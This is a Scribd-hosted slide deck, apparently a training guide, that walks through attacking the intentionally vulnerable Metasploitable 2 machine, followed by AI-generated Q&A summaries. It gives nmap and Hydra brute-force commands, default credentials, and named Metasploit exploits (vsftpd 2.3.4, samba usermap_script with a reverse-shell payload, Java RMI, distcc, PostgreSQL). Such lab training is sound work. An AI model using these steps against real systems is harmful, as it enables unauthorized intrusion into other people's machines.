0% found this document useful (0 votes)
55 views22 pages

Metasploit FTP and SSH Hacking Guide

Uploaded by

hrmlm251
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd

Topics covered

  • Command Line Tools,
  • Network Security,
  • Nops,
  • IP Scanning,
  • NMAP,
  • Shellcode,
  • MySQL Hacking,
  • Exploit Development,
  • System Weaknesses,
  • Vulnerability Assessment
0% found this document useful (0 votes)
55 views22 pages

Metasploit FTP and SSH Hacking Guide

Uploaded by

hrmlm251
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd

Topics covered

  • Command Line Tools,
  • Network Security,
  • Nops,
  • IP Scanning,
  • NMAP,
  • Shellcode,
  • MySQL Hacking,
  • Exploit Development,
  • System Weaknesses,
  • Vulnerability Assessment

CSC – Jordan Shield Special Edition

Powered By : Mohammed Kher Al-Khawaldeh.

1
Metasploit

Metasploit
Framework

MSF Console MSF CLI MSF Web Armitage GUI

2
Metasploit
METASPLOIT MODULES
Metasploit provides you with modules for:

• Exploits: Tool used to take advantage of system weaknesses


• Payloads: Sets of malicious code
• Auxiliary :functions Supplementary tools and commands
• Encoders: Used to convert code or information
• Listeners: Malicious software that hides in order to gain access
• Shellcode: Code that is programmed to activate once inside the target
• Post-exploitation :code Helps test deeper penetration once inside
• Nops: An instruction to keep the payload from crashing 3
Metasploit

To run Metasploit : msfconsole

4
Metasploit

Let’s Hack !
As a real scenario we have to know the machine IP address by deferent ways.

1- type ifconfig.
2- angry ip scan.

Our machine name is : Metasploitable version 2.

Scan our machine by using NMAP:

nmap -sV -vv [IP]

5
Metasploit
Hack the FTP using anonymous login.

Using command : ftp [ IP ]


Username : anonymous
Password : anonymous

After login successful try out help command.

6
Metasploit

Hack FTP using brute force attack !


Hydra -L [ user list ] -P [ password list ] [ IP ] ftp –V

Try to login using


login: user password: user
login: msfadmin password: msfadmin

7
Metasploit

Hack FTP using Metasploit.

Search vsftpd 2.3.4

Then use the exploit name .


By typing use [ exploit ] .
Then show the options for this exploit by typing :
options OR show options.
8
Metasploit

After showing the options try to edit the RHOST


And put the target IP address.

By using set argument.

Set RHOST [ Target IP ]

Then type exploit .

9
Metasploit

Hack SSH using Hydra.

Secure Shell (SSH) is a cryptographic network protocol


for operating network services securely over an unsecured network.

Try this command :

Hydra -L [ user list path ] -P [ password list path ] [ ip ] [ service ]

Try to use this command : ssh user@TARGET ip


Now we have access by know the user and pass.
10
Metasploit

Hack SSH using Metasploit.

First we need to start PostgreSQL service


By using this command : service postgresql start

Now we have to search about : [ ssh_login ]


Use the auxiliary
Then edit the RHOST and UserList , PasswordList.

Now we have access the ssh protocol.

11
Metasploit

TELNET it’s a control access protocol .

using command : telnet [ TARGET IP ]

Use past login data.


User : msfadmin
Pass : msfadmin

12
Metasploit

Hack SMTP using Metasploit and netcat

Search about smtp_version


Then use the auxiliary
After that try connect with netcat using this command

nc [ TARGET IP ] [ TARGET PORT ] .

13
Metasploit

Another way to hack it by enum.

Search about smtp_enum

Then set the Target address

Then run the exploit.

14
Metasploit

Hack Netbios – SSN using Metasploit .


SMB : (samba) Server Message Block (SMB) is the transport protocol
used by Windows machines for a wide variety
of purposes such as file sharing, printer sharing,
and access to remote Windows services
use exploit/multi/samba/usermap_script
Put your options
Then set your payload
set payload cmd/unix/reverse
Then set the payload options
Do your exploit !
15
Metasploit

Hack JAVA - rmi using Metasploit


Java Remote Method Invocation (Java RMI) is a
Java API that performs remote method
invocation.

Search about java_rmi_server


use exploit/multi/misc/java_rmi_server
Set your options
Deal exploit !

16
Metasploit

Hack mysql using Metasploit!

Search about mysql_login


Set the blank password as true
Do your exploit !

OR By command line
Mysql -u root -h [ Target IP ]

17
Metasploit

Hack DISTCCD using metasploit

Search about distcc_exec


Put your options
Deal your exploit !

18
Metasploit

Hack PostgreSQL using Metasploit

Search about postgres_payload


Then put your options
Deal exploit

19
Metasploit

Hack VNC using Metasploit

Search about vnc_login


Then use auxiliary/scanner/vnc/vnc_login

20
Metasploit

21
Metasploit

22

Common questions

Powered by AI

Metasploit assists in the exploitation of the SMTP protocol using various methods, each providing different levels of engagement and complexity. One method involves the use of netcat to connect to the target SMTP service by executing 'nc [TARGET IP] [TARGET PORT]' after discovering the SMTP version via Metasploit’s auxiliary module 'smtp_version' . Another method involves utilizing 'smtp_enum' for enumeration purposes through Metasploit, which involves setting the target address and then running the exploit to gain more information or access . These methods provide options for direct connection and information gathering, respectively, enabling attackers to tailor their approach based on situational requirements.

Hacking NetBIOS/SMB using Metasploit involves using specific components and steps to exploit this protocol. The Server Message Block (SMB) protocol used in Windows for file, printer sharing, and access to remote services can be targeted using Metasploit through the 'exploit/multi/samba/usermap_script' script . The process includes setting various options, including the payload with 'set payload cmd/unix/reverse', and configuring the exploit options with the target IP and other necessary parameters before executing the exploit command. This allows for executing arbitrary commands on the target system through the vulnerable SMB implementation .

Auxiliary functions in Metasploit play a crucial role in enhancing the attack process by providing supplementary tools and commands that support various phases of an attack. These functions are used for activities such as scanning, fuzzing, and application fingerprinting, which can help identify vulnerable services and configurations before launching a full exploit. Auxiliary modules help in recon and post-exploitation phases, allowing attackers to gather information about the target system or network, test for vulnerabilities, and solidify control after exploitation. Thus, they enhance the overall effectiveness and efficiency of an attack sequence by broadening the range of techniques and capabilities available to the attacker .

The Metasploit framework consists of several components crucial for interacting with and exploiting remote systems. These components include Exploits, which are tools used to take advantage of system weaknesses; Payloads, sets of malicious code delivered to the target; Auxiliary functions, supplementary tools, and commands; Encoders, used to convert code or information; Listeners, which are malicious software that hide to gain access; Shellcode, which is code programmed to activate inside the target; Post-exploitation code, used to test deeper penetration once inside; and Nops, instructions to prevent the payload from crashing. In a typical attack scenario, these components are used sequentially: a vulnerability is exploited using an Exploit, and then a Payload is delivered, potentially followed by further commands using Auxiliary, and further penetration using Post-exploitation code .

Performing an FTP brute force attack using Metasploit presents several challenges and considerations. One primary challenge is the time intensity; brute force attacks require testing numerous username and password combinations, which can take considerable time depending on the complexity of the password list and the system's rate-limiting mechanisms . Another consideration is the risk of detection, as continuous failed login attempts can trigger alerts in security systems or lead to IP bans, negating further attempts without additional measures to mask the attack source. There's also the ethical and legal consideration since unauthorized access to systems is prohibited by law. Conducting such attacks should only occur in legal network penetration testing environments with explicit permission . Addressing these challenges requires strategic planning, stealth techniques, and ensuring compliance with ethical standards.

Metasploit facilitates the exploitation of the FTP protocol through several methods. One method involves logging into an FTP server using anonymous credentials by typing 'ftp [IP]', specifying 'anonymous' for both username and password . Another method employs brute force attacks using the tool Hydra with the command 'Hydra -L [user list] -P [password list] [IP] ftp -V', where multiple combinations of usernames and passwords are tried until successful login is achieved . Additionally, an exploit specific to the vsftpd 2.3.4 version can be used by searching within Metasploit and configuring the appropriate options before launching the exploit .

Metasploit offers several techniques for exploiting the Java RMI (Remote Method Invocation) service. It provides the 'exploit/multi/misc/java_rmi_server' module, which targets vulnerabilities in the RMI service allowing remote attackers to execute arbitrary Java code on the server . The techniques involve setting various exploit options and executing the payload to take control of the vulnerable RMI server. The potential impacts of exploiting the RMI service include unauthorized access to the application's server environment, data leakage, and the ability to perform further attacks within the network depending on the permissions and roles of the compromised server. This can lead to significant security breaches and loss of sensitive information .

The Metasploit framework supports post-exploitation activities by offering a range of modules that help further test and expand control over a compromised system. These include post-exploitation modules that allow attackers to gather additional information, escalate privileges, maintain persistence, and explore further vulnerabilities within the target environment . Specific modules used in post-exploitation include password dumping tools, system and network information gathering utilities, and modules designed for lateral movement across the network. By leveraging these capabilities, attackers can consolidate their presence on the network, extract valuable data, and continuously adapt to security changes within the environment .

The integration of PostgreSQL in Metasploit significantly enhances its functionality by providing a powerful database back-end for storing and managing extensive amounts of data gathered during network penetration testing. This allows users to store host information, services, credentials, and findings across multiple engagements, facilitating organized and efficient data retrieval and correlation . Specifically, PostgreSQL enables features such as multi-threaded service scanning and improved search capabilities, which are essential for handling large networks and complex scenarios. By maintaining a comprehensive record of interactions and findings, testers can analyze patterns, track progress, and refine strategies, ultimately increasing the accuracy and effectiveness of penetration testing activities .

To hack SSH using Metasploit, several specific steps and modules are required. Firstly, you must start the PostgreSQL service with the command 'service postgresql start', which is needed for Metasploit’s database functionality . Next, the auxiliary module 'ssh_login' is searched for and used. This involves setting the RHOST (remote host) as the target IP address and providing user and password lists to attempt login . Access can also be achieved via SSH using the command 'ssh user@TARGET ip' after gleaning valid credentials . The combination of these actions allows the attacker to gain access to the target system through SSH exploitation.

You might also like